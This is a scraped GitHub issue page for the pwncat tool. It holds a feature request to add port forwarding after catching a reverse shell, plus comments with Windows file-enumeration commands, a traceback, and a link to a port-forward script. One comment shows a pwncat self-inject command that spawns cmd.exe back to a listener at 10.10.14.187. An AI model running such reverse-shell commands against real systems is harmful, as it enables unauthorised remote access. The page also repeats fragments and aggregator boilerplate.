ISSUE TYPE Feature request SUMMA

cmd.exe - finds files in %PATH% <div class="hig

However, since I am testing with a Windows host <p dir=

potential solution: upload this python tcp-forward and execute; there is also a

Please implement ability to port forward after catching reverse shell about pwncat HOT 5 OPEN

cytopia commented on May 22, 2024

Please implement ability to port forward after catching reverse shell

from pwncat.

Comments (5)

zweilosec commented on May 22, 2024 1

cmd.exe - finds files in `%PATH%`

where $filename 2>null

For files not in `%PATH%`

where /R C:\ ping.exe 2>null

Find file by name with PowerShell

Get-Childitem -Path C: -Recurse -ErrorAction SilentlyContinue | ? {$_.Name = $filename}

Enumeration shouldn't be too hard, but I don't know about the self-injection part.

from pwncat.

cytopia commented on May 22, 2024 1

I will probably first have the forwarding feature as a generated payload here: https://github.com/cytopia/kusanagi.
Once this is stable I will be looking into backporting it to pwncat automation

from pwncat.

zweilosec commented on May 22, 2024

After playing with using the --self-inject parameter, I believe this would be the easiest way to do this as-is, if the victim was a Unix machine.

pwncat -l 1234 -v --self-inject cmd.exe:10.10.14.187:1235
[PWNCAT CnC] Checking if remote sends greeting...
Spawn Shell...
Microsoft Windows [Version 10.0.17763.1817]
(c) 2018 Microsoft Corporation. All rights reserved.

c:\windows\system32\inetsrv>
[PWNCAT CnC] Checking if remote sends prefix/suffix to every request...
[PWNCAT CnC] Remote does not send prefix
[PWNCAT CnC] Remote does not send suffix
[PWNCAT CnC] Probing for: which python3
Traceback (most recent call last):
  File "/usr/bin/pwncat", line 6352, in <module>
    main()
  File "/usr/bin/pwncat", line 6263, in main
    CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports)
  File "/usr/bin/pwncat", line 4968, in __init__
    super(CNCAutoDeploy, self).__init__(network)
  File "/usr/bin/pwncat", line 4351, in __init__
    if not self.__set_remote_python_path():
  File "/usr/bin/pwncat", line 4821, in __set_remote_python_path
    response = self.remote_command("which {} 2>/dev/null".format(name), True)
  File "/usr/bin/pwncat", line 4632, in remote_command
    return self.send_recv(StringEncoder.encode(command), True, True)
  File "/usr/bin/pwncat", line 4606, in send_recv
    if data in responses[idx]:
IndexError: list index out of range

However, since I am testing with a Windows host as the remote machine, this fails since it requires both a Unix machine with
the which command, and python3 to be installed in the host's $PATH.

from pwncat.

cytopia commented on May 22, 2024

However, since I am testing with a Windows host

This is still something that lacks implementation. I will have to dig a bit into cmd.exe and powershell.exe capabilities for enumeration and self injection.

from pwncat.

ghost-ng commented on May 22, 2024

potential solution: upload this python tcp-forward script and execute; there is also a perl version on this site
https://mfnttps.github.io/mfnttps/python-portfwd/

from pwncat.

Please implement ability to port forward after catching reverse shell about pwncat HOT 5 OPEN

Comments (5)

cmd.exe - finds files in `%PATH%`

For files not in `%PATH%`

Find file by name with PowerShell

Related Issues (20)

Recommend Projects

React

Vue.js

Typescript

TensorFlow

Django

Laravel

D3

Recommend Topics

javascript

web

server

Machine learning

Visualization

Game

Recommend Org

Facebook

Microsoft

Google

Alibaba

D3

Tencent

Comments (5)

cmd.exe - finds files in %PATH%

For files not in %PATH%

Find file by name with PowerShell

Related Issues (20)

Recommend Projects

Recommend Topics

Recommend Org

cmd.exe - finds files in `%PATH%`

For files not in `%PATH%`